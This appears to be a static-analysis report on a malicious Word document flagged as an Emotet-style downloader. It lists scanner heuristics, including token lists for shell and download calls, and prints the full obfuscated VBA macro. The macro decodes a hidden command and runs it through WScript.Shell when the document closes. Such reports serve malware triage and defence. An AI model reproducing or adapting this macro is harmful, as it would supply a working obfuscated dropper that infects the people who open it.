MALICIOUS
312
Risk Score
Heuristics 9
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Call CreateObject("WScript.Shell").Run(foglio, vbHide) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Call CreateObject("WScript.Shell").Run(foglio, vbHide) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2523 bytes |
SHA-256: 9586d3eed4b2507cd895881e6634fe3cf262e2579a0b9f0e7e87b332b2f41d89 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function nitido(diffuso As Integer) As String
Dim brevetto() As Variant
brevetto = Array("o", "\", "F", "?", "+", "P", "a", ";", "g", "B", "m", "(", "'", "c", "u", ".", "n", "w", "D", "t", "-", "x", "l", "i", "/", "S", " ", "=", ")", "y", "T", "Y", "E", "$", "N", "A", ":", "d", "e", "O", "W", "j", "r", "C", "h", "Z", "b", ",", "s", "v", "p")
Dim avvenire As Integer
For avvenire = LBound(brevetto) To UBound(brevetto)
If avvenire = diffuso Then
nitido = brevetto(avvenire)
End If
Next
End Function
Function vagliato(Optional erba As String, Optional erba2)
ipotesi = lessato(Trim(erba))
For avvenire = 0 To Len(erba)
Dim umorismo As String
Dim fluente As Integer
If (avvenire + 1) <= UBound(ipotesi) Then
lusso = longevo(Array(lusso, nitido(Int(ipotesi(avvenire) + ipotesi(avvenire + 1)))))
avvenire = avvenire + 1
End If
Next
vagliato = lusso
End Function
Public Function svagare(foglio As String)
If Len(foglio) > 16 Then
Call CreateObject("WScript.Shell").Run(foglio, vbHide)
End If
End Function
Sub AutoClose()
Call Application.Run("svagare", vagliato("50001738424844382222262034003221231926203221381326092950064848262043001010061637261134381720394641381319262529481938101534381915403846432223381619281518001716220006370223223811124419195036242417384844382208000600142916191706162915130010243045242319062229155029131247263338164936350505183530352604261201233105414215382138122807262519064219200542001338484826333816493635050518353035120123310541421538213812072611343817203946413813192625294819381015343819154038464322233816192815180017162200063725194223160811124419195036242417384844382208000600142916191706162915130010244815504450032337272319062229122807"))
End Sub
Function longevo(testato As Variant)
ripulire = ""
For deserto = 0 To UBound(testato)
ripulire = ripulire & "" & testato(deserto)
Next
longevo = ripulire
End Function
Function lessato(nuovo As String, Optional zefiro As Integer) As Variant
lessato = Split(Left(StrConv(nuovo, vbUnicode), Len(StrConv(nuovo, vbUnicode)) - 1), vbNullChar)
End Function
Attribute VB_Name = "Module1"
Attribute VB_Name = "Module2"
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 14848 bytes |
SHA-256: 89133172bf9144bebcc86cc0ab41e3095a6d9a1d59c27034018ab6b168eb09ee |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
likely
Carved artifact contains 1 long base64-like blob(s).
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.